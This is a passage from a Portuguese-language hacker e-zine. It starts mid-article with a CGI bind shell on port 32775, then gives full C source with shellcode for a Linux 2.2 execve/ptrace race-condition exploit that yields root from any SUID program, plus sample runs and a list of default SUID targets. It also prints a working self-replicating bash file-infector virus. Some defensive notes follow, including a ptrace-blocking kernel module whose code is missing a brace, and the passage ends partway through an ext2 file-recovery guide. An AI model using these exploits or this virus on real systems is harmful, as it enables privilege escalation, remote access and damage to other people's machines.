$ lynx http://127.0.0.1/cgi-bin/bindshell_apachecgi

ou 

$ links http://127.0.0.1/cgi-bin/bindshell_apachecgi

OBS.: No "lynx" o resultado nao serah exibido na tela mas 
      funcionarah da mesma forma eh soh esperar um "OK" e 
      tudo ja estarah executado e a shell bindada.

O resultado serah:


 Iniciando o Trabalho...
 Construindo Bind Shell...

 Compilando Bind Shell...
 Bind Shell Compilado com sucesso

 Bind Shell executada...
 Shell bindada a porta 32775 do host alvo
 Use: telnet www.alvo.com 32775, para se conectar
 Finalizando...
 http://hophet.virtualave.net/


Pronto, apartir daih vc ja pode se conectar ao servidor alvo
pelo telnet na porta 32775, e ter a sua shell e apartir daih
ganhar status dentro no sistema(root), pelo fato do shell
conseguido ser do user "nobody". Veja:

$ telnet 127.0.0.1 32775
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
sh-2.03$ id
uid=99(nobody) gid=99(nogroup) groups=99(nogroup),98(nobody)
sh-2.03$ exit
Connection closed by foreign host.
$

Mas pra quem nao tinha nem um shellzinho ja eh muita coisa. ;)
Devo salientar que o local para baixar o script pode mudar 
visto que os servidores HTTP podem ou ser diferentes ou a plata_
forma ser diferente, mas nada que um find resolva. ;) 
Podemos ver que funciona e que obtivemos sucesso, podemos 
ainda imaginar muitas outras maneiras de se obter shell com 
um FTP, mas isso fica pra outro txt. Como dizia Albert Ainstem
"A imaginacao eh mais importante que o conhecimento".
Sera??! :) 



----------------
 2 - Terminando |
----------------

Vemos tambem que estes esquemas discutidos acima podem ser aplicados
em outras plataformas, em outros servidores HTTP, enfim eh bastante 
ampla a possibilidade de aplicacao da mesma, e como vemos eh poderosa,
os diretorios do apache tambem mudam dependendo da plataforma, mas 
esteja ligado a isso, porque eh uma das poucas coisas que mudam, o 
que pode mudar tambem eh o caminho do "telnet", tente um "which 
telnet" e mude se for necesario nos scripts. O meu objetivo com
tudo isso aqui eh aumentar a visao dos fucadores, para que possam
vizualizar novos esquemas, que com certeza sao muito uteis a nos.
Mas sempre fique ligado em relacao a programas de filtragem e progra_
mas que verificam certas funcoes dentro do sistema/programas, impedin_
do ate que os mesmos sejam executados. Sempre devemos lidar/trabalhar 
com cautela, paciencia e atencao, pois ainda existem pessoas ou admi_
nistradores preocupados com seguranca e estao sempre atentos as novida_
des que aparecem, por isso, toda a antencao eh pouca.

O assunto que discutimos aqui eh muito interessante e amplo, em txts
futuros abordaremos mais sobre o mesmo, mostrando outros esquemas 
ainda mais interessantes. Ateh a proxima e um abraco a todos!  













                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$    [06] - Race Condition            $
        $$$$$$         em Suid Programs          $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;





        ___________________________________________ 
       '                                           `   
       |             Race Condition:               |
       | Como Obter uma root shell em cima de qlq  |
       |              SUID program                 |
       |                                           |
       `-------------------------------------------'    




* Indice:

1 - Introducao
2 - Conceito 
3 - Pratica
4 - Consertando tudo
5 - Ultimas Palavras 




1 - Introducao 
--------------


Eh com alegria que escrevo mais uma vez para a galera fucadora, e 
acredito que todos que escrevem algo de util, tb fiquem felizes por
ver cada vez mais a comunidade crescer em conhecimento.

Acredito que algumas pessoas mais avancadas em conhecimento tb 
encontraram muita informacao util aqui, pelo fato do assunto
(Race Condition) nao ser tao conhecido e pouco falado, por isso
leia e tire suas conclusoes e queira se aprofundar mais no assunto
pq o mesmo eh muito interecante e exploitacoes com a mesmo eh 
muito poderosa. 


2 - Conceito
------------ 


Vamos ao assunto, vamos estudar um caso de aplicacao do RC
(Race Condition) em ptrace(responsavel pelo controle dos processos
de binarios, e tb por tracar processos em execucao assim como 
envia alguns sinais ao programa em execucao) e em execve(responsavel
pela execucao dos programas e tb invoca o process PID e qlq descricao
de arquivos abertos pra nao fechalos durante a execucao). 
Onde entra o RC nisso tudo ???! Basicamente um RC(race condition) 
acontece quando duas aplicacoes ou funcoes tem acesso a dados 
compartilhados(memoria) que nao sao sincronizados corretamente,
e eh isso que acontece com o execve e o ptrace (para mais 
informacoes sobre "race conditions" ler a edicao 00 da zine 
bth<www.bthzine.cjb.net>). Teoricamente vc pode obter root usando 
RC em cima de programas ou funcoes que abrao um arquivo ou que 
tenham permissoes indevidas(suid) assim como a relacao entre o 
valor de alguma variavel compartilhada entre 2 processos.
Neste txt vamos tratar de RC em funcoes utilizadas pelo kernel
(execve/ptrace) para e execucao de programas e uma relacao 
de permissoes indevidas(suid).


3 - Pratica
-----------
 
Nessa altura do campeonato vamos a implementacao do nosso 
RC nas funcoes ptrace/execve em conjunto com permissoes 
indevidas. Veja, esta falha eu considero muito grave e indenpendente
em que linux ela seja aplicada vc ira obter privilegios "root", e 
talvez por isso eu a considere grave, pq nao vai depender se o 
SUID program esta com alguma funcao que possa ser exploitada ou 
algum erro de programacao que poderiamos explorar com BufferOverflows,
etc, soh depende de termos um programa qlq com SUID root.

Vamos a aplicacao, veja este programa:



<++> rc/vulneravel.c 

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) 
{

    printf("Progama teste para Race Condition\n");
    printf("para o txt de RaceConfition em SUID\n");
    printf("http://hophet.virtualave.net/\n");
    printf("\n\n");  
}

<-->



Compile com:

sh-2.03# gcc vulneravel.c -o vulneravel

Sete o bit SUID para nossos testes:

sh-2.03# chmod +s vulneravel

Pronto nosso programa alvo esta pronto, e vc poderia me dizer que 
mesmo sendo um SUID ele nao poderia ser explotado porque nao 
possui nada no fonte que possa ser explorado, e realmente nao 
possue mas ele tem o bit suid e eh o que nos intereca, pois 
eh com ele e com as chamadas do sistema(system calls) execve e
ptrace que vamos obter uma shell "root". Beleza nosso programa 
vulneravel esta feito para nossos testes, agora vamos ao exploit 
para nossos "suid programs".
OBS.: O exploit.c eh o responsavel pela execucao do 
"race condition" em cima do execve e do ptrace. 

Veja:



<++> rc/exploit.c 
 
/*
 * racecsuid.c  --> 
 * 
 * Exploit para race condition em execve/ptrace no Linux kernels 2.2.x
 *
 * Escrito por:
 * Wojciech Purczynski/cliph/<wp@elzabsoft.pl>
 *
 * Modificado por:
 * Hophet <hophet@yahoo.com.br>
 * http://hophet.virtualave.net/
 * 
 * Compile com:
 *	gcc racecsuid.c -o racecsuid
 * Use:
 *	./racecsuid <victim>
 *
 * Com isso vc vai abter shell root em cima qlq SUID program.
 * Se isso nao funcionar, faca isso logo abaixo em qto roda o
 * binario SUID ou logo antes:
 * 
 * 	$ cat /usr/lib/* >/dev/null 2>&1
 *
 * Testado em RedHat 7.0 , RedHat 6.2/2.2.14/2.2.18/2.2.18ow4 e 
 * Slackware 7.0/2.2.13/2.2.18. 
 * Este Exploit nao funfa em 2.4.x pq o kernel nao seta privilegios
 * SUID se for usado em binarios ptraces.
 * Ps.: Para um melhor intendimento do fonte leia a manpage do "ptrace"
 * e do "execve", $ man ptrace , $ man execve.  
 * 
 * Boa sorte !!!
 * 
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>

#define CS_SIGNAL SIGUSR1
#define VICTIM argv[1]
#define SHELL "/bin/sh"

/*
 * Simples ShellCode 
 */
char shellcode[]=
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90"       
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"	     /* setuid(0) */
	"\x31\xc0\xb0\x2e\xcd\x80"                 
	"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"	     /* execve(SHELL) */
	"\x90\x90\x90\x89\xe1\x8d\x54\x24"	     /* lets be tricky*/
	"\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	"\xc3\x40\xcd\x80\xe8\xe4\xff\xff"             
	"\xff" SHELL "\x00\x00\x00" ;	             /* pad me */

volatile int cs_detector=0;

void cs_sig_handler(int sig)
{
	cs_detector=1;
}

void do_victim(char * filename)
{
	while (!cs_detector) ;
	kill(getppid(), CS_SIGNAL);
	execl(filename, filename, NULL);
	perror("execl");
	exit(-1);
}

int check_execve(pid_t victim, char * filename)
{
	char path[PATH_MAX+1];
	char link[PATH_MAX+1];
	int res;
	
        /* "/proc/%i/exe" symbolic link para /bin/bash */ 
	snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
	if (readlink(path, link, sizeof(link)-1)<0) {
		perror("readlink"); 
		return -1;
	}
	
	link[sizeof(link)-1]='\0';
	res=!strcmp(link, filename);
	if (res) fprintf(stderr, "child slept outside of execve\n");
	return res;
}

int main(int argc, char * argv[])
{
	char * filename=VICTIM;
	pid_t victim;
	int error, i;
	struct user_regs_struct regs;

        if (argc<=1) {
           printf("\nUse: %s <suid_program>\n\n",argv[0]);
           goto exit;
        }

	/* take our command args if you wanna play with other progs */
	if (argc>1) filename=argv[1];

	signal(CS_SIGNAL, cs_sig_handler);

	victim=fork();
	if (victim<0) {
		perror("fork: victim");
		exit(-1);
	}
	if (victim==0) do_victim(filename);

	kill(victim, CS_SIGNAL);
	while (!cs_detector) ;
	
	if (ptrace(PTRACE_ATTACH, victim)) {
		perror("ptrace: PTRACE_ATTACH");
		goto exit;
	}
	
	if (check_execve(victim, filename))
		goto exit;

	(void)waitpid(victim, NULL, WUNTRACED);
	if (ptrace(PTRACE_CONT, victim, 0, 0)) {
		perror("ptrace: PTRACE_CONT");
		goto exit;
	}

	(void)waitpid(victim, NULL, WUNTRACED);
	
	if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
		perror("ptrace: PTRACE_GETREGS");
		goto exit;
	}

	/* make sure that last null is in there */
	for (i=0; i<=strlen(shellcode); i+=4) {
		if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
						    *(int*)(shellcode+i))) {
			perror("ptrace: PTRACE_POKETEXT");
			goto exit;
		}
	}

	if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {
		perror("ptrace: PTRACE_SETREGS");
		goto exit;
	}

	fprintf(stderr,"\nBug exploitado com sucesso!!!\n");
        fprintf(stderr,"http://hophet.virtualave.net/\n");
        fprintf(stderr,"http://www.stackpointer.org\n\n"); 
	
	if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
		perror("ptrace: PTRACE_DETACH");
		goto exit;
	}

	(void)waitpid(victim, NULL, 0);
	return 0;
	
exit:
	fprintf(stderr, "Erro na exploitacao!!!\n\n");
	kill(victim, SIGKILL);
	return -1;
}

/*  www.stackpointer.org / hophet.virtualave.net <02/07/01> */


<--> 



Este eh o explot para nosso pragrama vulneravel.

Compile com:

sh-2.03$ gcc exploit.c -o exploit

Vamos a nossa shell root:) :

sh-2.03$ ls -l 

-rw-r--r--   1 hophet   users        8028 Jul 02 21:08 racecond_suid.txt
-rwxr-xr-x   1 hophet   users       14590 Jul 02 18:05 exploit
-rw-r--r--   1 hophet   users        3954 Jul 02 20:44 exploit.c
-rwsr-sr-x   1 root     root        11702 Jul 02 16:49 vulneravel
-rw-r--r--   1 hophet   users         142 Jul 02 16:48 vulneravel.c

sh-2.03$ ./exploit vulneravel

Bug exploitado com sucesso!!!
http://hophet.virtualave.net/
http://www.stackpointer.org/

sh-2.03# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.03# exit
exit
sh-2.03$


Pode nao funcionar de primeira, intao antes de ir falando 
que nao funciona, veja isso:


Teste num Slackware 7.0, kernel 2.2.13:

[localhost]$ ./exploit vulneravel
Progama teste para Race Condition
para o txt de RaceConfition em SUID


ptrace: PTRACE_ATTACH: Operation not permitted
rro na exploitacao!!!

[localhost]$ ./exploit vulneravel
Progama teste para Race Condition
para o txt de RaceConfition em SUID


ptrace: PTRACE_ATTACH: Operation not permitted
Erro na exploitacao!!!

[localhost]$ ./exploit vulneravel
Progama teste para Race Condition
para o txt de RaceConfition em SUID


ptrace: PTRACE_ATTACH: Operation not permitted
Erro na exploitacao!!!

[localhost]$ ./exploit vulneravel
Progama teste para Race Condition
para o txt de RaceConfition em SUID


ptrace: PTRACE_ATTACH: Operation not permitted
Erro na exploitacao!!!

[localhost]$ cat /usr/lib/* >/dev/null 2>&1

[localhost]$ ./exploit vulneravel

Bug exploitado com sucesso!!!
http://hophet.virtualave.net/
http://www.stackpointer.org/

sh-2.03#


Vimos que funciona e muito bem, viram pq acho essa falha  muito
seria ??! Intao, o programa vulneravel foi exploitado simplesmente
por ter o bit suid.   


4 - Consertando tudo
--------------------

Nesto topico vou falar de como isso pode ser barrado, de modo
que nao venha trazer perigo a integridade do sistema. Aqui vai
uma lista de programas SUID root que podem ser exploitados com 
o nosso "exploit" e que vem por padrao na maioria dos sistemas 
Linux.

Suid Programs:

/usr/bin/at
/usr/bin/crontab
/usr/bin/disable-paste
/usr/bin/fdmount
/usr/bin/lpq
/usr/bin/lpr
/usr/bin/lprm
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/suidperl5.00503
/usr/bin/procmail
/usr/bin/rcp
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/traceroute
/usr/bin/zgv
/usr/lib/mc/bin/cons.saver
/usr/lib/news/bin/inndstart
/usr/lib/news/bin/startinnfeed
/usr/doc/fetchmail-5.1.2/contrib/getmail
/usr/sbin/gnome-pty-helper
/usr/sbin/sendmail
/usr/X11R6/bin/xscreensaver
/usr/X11R6/bin/dga
/usr/X11R6/bin/xterm
/usr/X11R6/bin/Xwrapper
/usr/X11R6/bin/xload
/usr/X11R6/bin/rxvt
/usr/X11R6/bin/xlock
/usr/libexec/pt_chown
/bin/su
/bin/mount
/bin/umount
/bin/ping
/sbin/cardctl
/tmp/usr/bin/dos
/opt/kde/bin/kcheckpass
/opt/kde/bin/konsole_grantpty
/opt/kde/bin/kppp


Veja: 


sh-2.03$ ./exploit /usr/bin/lpr

Bug exploitado com sucesso!!!
http://hophet.virtualave.net/
http://www.stackpointer.org/ 

sh-2.03#


Viram, mais uma vez que obtemos privilegios de root no sistema.
Mas como poderemos resolver isso?? A solucao eh simples ,
retire todos os bits SUID dos binarios.

Veja:

sh-2.03# find / -user root -perm +4000 > suid.txt
sh-2.03# chmod a-s `cat suid.txt`

Pronto retiramos todos os bits SUID de todos os binarios suid do 
sistema.

OBS.: Com este tipo de modificacao voce pode ter alguns 
problemas, pois alguns binarios e ate servicos utilizam 
e precisam de arquivos SUID.

Agora sem o bit SUID vamos testar nosso exploit novamente.

Veja:

sh-2.03$ ./exploit /usr/bin/lpr
ptrace: PTRACE_ATTACH: Operation not permitted
Erro na exploitacao!!!

sh-2.03$

Mais uma vez: 

sh-2.03$ ./exploit /usr/bin/lpr
/usr/bin/lpr: cannot create /var/spool/lpd/.seq
ptrace: PTRACE_ATTACH: Operation not permitted
Erro na exploitacao!!!

Como vc esta vendo nao obtivemos sucesso em nossa investida,
mas repare a segunda execucao do exploit atente para 
"/usr/bin/lpr: cannot create /var/spool/lpd/.seq" isso nos mostra
que o programa perdeu o seu poder logo apos o remocao do 
bit suid, e agora soh o "root" vai poder mandar arquivos para
o spooling daemon para impresao, o que se torna inviavel num 
sistema ou rede onde varios usuarios precisam de usar tal servico,
e atravez disso sempre vai ter pelo menos um SUID program nos 
esperando em qlq sistema Linux com kernels 2.2.x (Nao testei nos 
2.4.x se funcionar mail-me, mas testes serao feitos e mudancas serao
anunciadas), isso eh bastante preocupante e adimns deveriam atentar 
para isso. 

Mas podemos buscar outros meios de proteger nosso sistema quanto a
isso, vide solucoes como "Saint Jude" que eh um modulo que monitora 
o sistema,vijiando elevacoes do uid(euid),agindo bem contra possiveis 
exploitacoes. 

Outro modo de proteger nosso sistema eh criando um LKM que monitore
o syscall "ptrace". Veja esta simples implementacao de um LKM para 
isso:
Obs.: Detalhes sobre o LKM estao no fonte.



<++> rc/intercept_ptrace.c 

/*
 *
 * Descricao: Este modulo ao ser carregado vai impedir
 * que haja qlq tipo de exploitacao em cima do "ptrace".
 * Ele simplesmente vai monitorar o uso do ptrace no
 * sistema impedindo comandos como "strace" e "chamadas
 * maliciosas" para o syscall __NR_ptrace.
 * Tipo, ele pode ser melhorado e tb pode infuenciar no uso
 * de softs de "debugacao" porque usam o "ptrace" por isso
 * fique ligado. 
 * Nome: intercept_ptrace.c
 * Escrito por: hophet <hophet@yahoo.com.br>
 * http://hophet.virtualave.net/
 *
 * Compile com: gcc -c -O3 -o intercept_ptrace.o intercept_ptrace.c
 * Carregue com : insmod intercept_ptrace.o
 * Descarregue com: rmmod intercept_ptrace
 *
 * Boa sorte !!!
 *
 */


#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_ptrace)(long request, long pid, long addr, long data);

int novo_ptrace(long request, long pid, long addr, long data)
{
 printk("<1>Que Pena irmao mas o sistema esta sendo\n");
 printk("<1>monitorado contra Race Condition\n");
 return 0;
}

int init_module(void)                /* inicializa modulo */
{
 orig_ptrace=sys_call_table[__NR_ptrace];
 sys_call_table[__NR_ptrace]=novo_ptrace;
 printk("<1>Modulo Carregado!!!\n");
 return 0;
}

void cleanup_module(void)            /* finaliza modulo */

 sys_call_table[__NR_ptrace]=orig_ptrace;
 printk("<1>Modulo descarregado!!!\n");
}

<--> 



Logo depois de carregar este modulo, ninguem mais obtera sucesso
em sua exploitacao. O legal de implementar este LKM eh que muitas
vezes vc precisa de um "suid" e com ele vc nao os sacrificaria 
(mas sempre eh um bom conselho retirar os bits suid). Compile,
e carregue comforme dito no fonte do LKM e vamos aos teste.

Veja:

sh-2.03$ ./exploit vulneravel
Programa teste para Race Conditions
Para o txt de Race Condition em SUID


Que Pena irmao mas o sistema esta sendo
monitorado contra Race Condition
readlink: Permission denied
Erro na exploitacao!!!

Mais um: 

sh-2.03$ cat /usr/lib/* >/dev/null 2>&1

sh-2.03$ ./exploit vulneravel
Programa teste para Race Conditions
Para o txt de Race Conditions em SUID


Que Pena irmao mas o sistema esta sendo
monitorado contra Race Condition
readlink: Permission denied
Erro na exploitacao!!!

sh-2.03$ cat /usr/lib/* >/dev/null 2>&1

sh-2.03$ ./exploit vulneravel 

...

Bug exploitado com sucesso!!!
http://hophet.virtualave.net/

Que Pena irmao mas o sistema esta sendo
monitorado contra Race Condition

sh-2.03$


Como viram em nossos testes nao houve em momento algum
sucesso nas exploitacoes com isso vemos que o nosso LKM
funciona muito bem contra um RC em cima do "ptrace".
Agora, o mesmo pode ser implementado de forma a haver 
execoes no bloqueio, mas isso fiqua de tarefa para o 
fucador:).

O nosso Amigo eSc2, fez um otimo LKM, conhecido como
Quinds(parece que mudou de nome) , ele esta na versao 
0.4, ele funciona como um IDS que monitora o sistema 
impedindo a elevacaco de UID, alem de ter uma otima 
implementacao de uma interceptacao do syscall ptrace, 
o que impede toda esta exploitacao discutida neste txt. 
Vale a pena conferir, voce pode baixalo em:

http://www.stackpointer.org/
http://www.write2execute.cjb.net/
http://hophet.virtualave.net/



5 - Ultimas Palavras
-------------------- 


Eh, como voces viram o Race Condition eh muito poderoso 
e pode ser usado de varios modos a nos ajudar obter 
grandes privilegios dentro de um sistema. Nos resta 
sempre esta nos aprofundando nesta tecnica que tende 
a crescer bastante e realmente o seu uso traz um grande
perigo a qualquer sistema ou rede pelo mundo afora. 
Que apezar de tudo nao eh uma tecnica nova.














                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$     [07] - Worms e o Linux          $
        $$$$$$                                   $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;





Vou falar sobre alguns dos mais importantes worms/virus que ja atingira
m o mundo Linux. Ateh um tempo atras muitos acreditavam que o Linux era 
imune a qualquer tipo de virus/worms e arroneamente ainda existem pesso
as que acreditam nisso. Ao contrario do que muitos pensam o  Linux esta 
grandemente vulneravel aos ataques de worms ou virus! E isso vem aconte
cendo com o passar do tempo. Um dos primeiros worms a aparecer se nao o
primeiro, foi o morris. Robert Morris espalhou "acidentalmente" um worm 
que infectou milhoes de computadores e fez boa parte da  Internet parar 
em 1988. Ele eh filho de um cientista chefe do National Computer Security 
Center, parte da Agncia Nacional de Segurana. Ironias...

Apartir daih surgiram muitos outros, Worm Ramen, Worm Lion, alguns utili
zavam ate falhas de seguranca no proprio sistema, alem de falta de aten
cao do usuario, Alem de alguns outros worms e virus que surgiram. 

Mas o que quero ressaltar e mostrar eh como seu sistema pode esta facil
mente vulneravel a worms, virus ou qualquer outro tipo de malware. 

Existem hoje textos que mostram claramente como criar codigos maliciosos
(virus/worms) e sem grande dificuldade se contaminar um sistema *nix.

Silvio Cesare escreveu um otimo texto sobre Virus em Unix(UNIX VIRUSES) 
que explana muito bem a contaminacao de arquivos ELF, que sao os binarios 
no Linux. Voce pode encontrar este texto em:

http://virus.beergrave.net

Michal Zalewski escreveu outro otimo texto sobre como escrever Worms, 
para diversas plataformas. Este texto pode ser encontrado em:

http://lcamtuf.na.export.pl/worm.txt

Atravez destes textos voce pode ver como um sistema *nix/linux esta gran
demente vulneravel a estes tipos de codigos maliciosos. Existem varios 
meios  de  se  infectar  arquivos, seja ELF ou nao! Silvio Cesare ainda 
escreveu um texto sobre como infectar ELF's usando redirecionamento de 
Shared Libraries. O mesmo pode ser encontrado no mesmo link acima!

Como vemos os arquivos ELF podem ser facilmente atacados e infectados.
Vou mostrar um codigo em Shell Script que achei aqui que mostra de forma 
bem simples o trabalho de um virus no Linux. Veja:


<++> worms/virus.sh

#!/bin/bash

MEU_TAM=777
SIGN="##"
MAX_INFEC=3;

bomba(){
DATA=`date +"%d/%m"`
if [ $DATA == "10/10" ] ; then
        echo "AHAM !!! Eu sou um virus!!"
fi
}

function infecta(){
cat $0 | head -c$MEU_TAM 2> /dev/null > /tmp/eu
cat $ARQ >> /tmp/eu
mv /tmp/eu $ARQ
chmod +x $ARQ
rm -f /tmp/eu 2>/dev/null
}

function exec(){
cat $0 | tail -c+$[$MEU_TAM+1] 2> /dev/null > /tmp/orig
chmod +x /tmp/orig
/tmp/orig $*
rm -f /tmp/orig 2>/dev/null
}

NUM_INFEC=0;
for ARQ in `ls` ; do
        if [ $NUM_INFEC == $MAX_INFEC ] ; then
                break;
        fi
        if [ -f $ARQ ] && [ -x $ARQ ] && [ -w $ARQ ]; then
                OFF_CHK=$[ $MEU_TAM -1 ];
                V1="`cat $ARQ | tail -c+$OFF_CHK | head -c2 2>/dev/null`"
                if [ "$V1" != "$SIGN" ] ; then
                        NUM_INFEC=$[ $NUM_INFEC +1 ];
                        infecta;
                fi
        fi
done

bomba;
exec $*;
exit;

#eof

<-->


O que ele faz eh infectar 3 arquivos de vez, depois ele verifica  se o 
arquivo ja foi infectado a seguir ele roda o arquivo original,  tambem
infecta binarios, se os mesmos tiverem permissao de escrita. Eh um exem
plo simples mas que demonstra basicamente como um virus/worm pode agir.

Voce pode encontrar mais informacoes sobre Codigos Maliciosos tambem em,

http://www.kimera.com.br/
http://int0x80.host.sk/
http://unsekurity.virtualave.net/

Com  essas  quatro  fontes que foram citadas voce vai encontrar todas as 
informacoes necessarias sobre  a  escrita  e remocao de worms e virus em 
Linux. Por isso nao eh necessario alongar ainda mais esta materia!
Corra atras. Pois as fontes sao de suma importancia para um entendimento
completo do assunto.

















                                          `
                                         `;
                                        `!@
                                       `!111
                                      '!.a$a
             .%/%%/%/.  a$$a$$a$$a$$a!@11$a$a
            $$$$$$$$$$$   a$$a$$a$$a$$a!11$@a$$.
           $$$$$$$$$$$$$$   a$$a$$a$$a$$a$$a$$$$$a.
           $
          $$
         $$$$     [08] - Recuperacao de           $
        $$$$$$             Arquivos              $$
      $$$$$$$$                            `1    $$$$
    $$$$$$$$$$                           `a!   $$$$$$
    $$$$$$$    a$$a$a1a$$a$a$a$a$a$a$a$a$1@.  $$$$$$$
     $$$$$    a$$a$$a@a$$a$a$$a$$a$$a!a!@1a.  $$$$$$$$
      $$$$$   `a!                             $$$$$$$$$
       $$$$$   ;                              $$$$$$$$$a
     $$$$$$                                    $$$$$$$$$
    $$$$$$                 hophet                $$$$$$
     $$$$$$                                       $$$$
       $$$$$                                     $$$
         $$$                                    $$
          $$$  $$$$$$a$$$$a$$$$$$$$$a$$a$$$$   $
            $$   a$$$a$$$$a$$$$a$$$$a$$$a$
              $   $$$$$$$$$$$$a$$$$$$$$$$
                                  '!.a$a
                                   '!111
                                     '!@
                                       ;





Algumas  vezes  acontece de fazermos algumas besteiras em nosso tao amado
sistema, e apagamos o que nao deviamos ou algo que era de grande importa
ncia para a continuidade de um trabalho ou ate o funcionamento do sistema.
Aih entra em acao importantes ferramentas de recuperacao de arquivos.
Iremos discutir nesta pequena materia uma forma de se recuperar arquivos
em File Systems (sistemas de arquivos) EXT2 (Ext2-fs), que eh o sistema
de arquivos do Linux.

A recuperacao de arquivos eh possivel pelo fato de que quando apagamos
algu m arquivo ele nao eh realmente apagado,somente o seu endereco no
mapa do HD e para realmente apagar um arquivo temos que sobreescrevelo
umas 20 vezes.  O que fazemos eh restituir este "caminho" no mapa do HD,
no caso do Ext2 no s encontramos o inode referente ao do nosso arquivo
e o restituimos ao FS.  Nem sempre serah possivel recuperar todos os
arquivos apagados, pois alguns usam muitos blocos no HD e fica dificil
unilos. Mas na grande maioria isso eh possivel para arquivos que utilizam
menos blocos, pelo menos neste meto do.

Alguns Cuidados que devem ser tomados antes de comecarmos:

1o - Fique ligado, sempre que apagar um arquivo que nao podia ser apagado
     siga imediatamente os passos de recuperacao, pois pode nao ser
     possi vel recuperalo mais adiante.

2o - Eh  importante  desmontar o  Sistema de Arquivos onde se encontra  o
     arquivo que foi apagado. Vamos  supor  que o  arquivo  esteja em uma
     particao /dev/hdb3 montada em /usr. A desmontariamos  o  mais rapido
     possivel. Talvez e mais certo seu sistema de arquivos esteja todo
     em uma unica particao entao use discos de "boot" e "root" ou CD do
     linux para iniciar uma shell com o sistema de arquivos desmontado e
     assim podermos iniciar a recuperacao. Voce pode iniciar o sistema
     com a parti cao em ready-only caso tenho somente uma particao /,
     mas remomendamos usar mesmo disquetes ou o CD. O comando para se
     fazer isso seria: "mount -n -o ro,remount /". Desmonte uma particao
     com: # umount /dev/ device. Ex: # umount /dev/hda1.

3o - Faca  backup  de seus dados mais importantes pois voce pode danificar
     sua particao no processo de recuperacao, que ironia nao? :) Copie
     seus dados para outra particao se possivel. Mas se tomar cuidado
     e ter a devida atencao isso eh muito dificil de acontecer.


Iniciando a recuperacao...

Voce precisa primeiramente encontrar os arquivos que foram perdidos. Vamos
ter que descobrir quais inodes do sistema foram liberados ultimamente,para
isso voce deve fica ligado para logo quando apagar um arquivo ter a
nocao de quando este arquivo foi apagado tanto  as  horas  como o dia.
Isso  eh importante  para determinarmos quais inodes iremos olhar. Cada
agrupamento de dados eh chamado "inode". Para realizar todo o processo
de recuperacao vamos usar a ferramenta do linux chamada "debugfs",
para mais  informacoes "man debugfs".

Vamos  considerar  aqui  que  temos  uma  unica  particao  montada  em "/"
e que iniciamos a maquina com discos de boot e root no caso do Slackware
e estamos no prompt referente. A particao eh a /dev/hda1.

Vamos entrar no debugfs e listar todos os inodes apagados recentemente:

# debugfs /dev/hda1 debugfs 1.15, 18-Jul-1999 for EXT2 FS 0.5b, 95/08/09
debugfs:

Com o Comando "lsdel" listamos todos os inodes apagados recentemente:

debugfs: lsdel

432012   1004 100600  14560    4/   4 Tue Dec  4 20:46:56 2001 432015
1004 100600  14577    4/   4 Tue Dec  4 20:46:56 2001 267944   1000  40755
0    1/   1 Wed Dec  5 00:23:52 2001 267945   1000 100644  13008    4/
4 Wed Dec  5 00:23:52 2001 267946   1000 100644   3604    1/   1 Wed Dec
5 00:23:52 2001 267947   1000 100644    152    1/   1 Wed Dec  5 00:23:52
2001 267948   1000 100644  25265    6/   7 Wed Dec  5 00:23:52 2001 430875
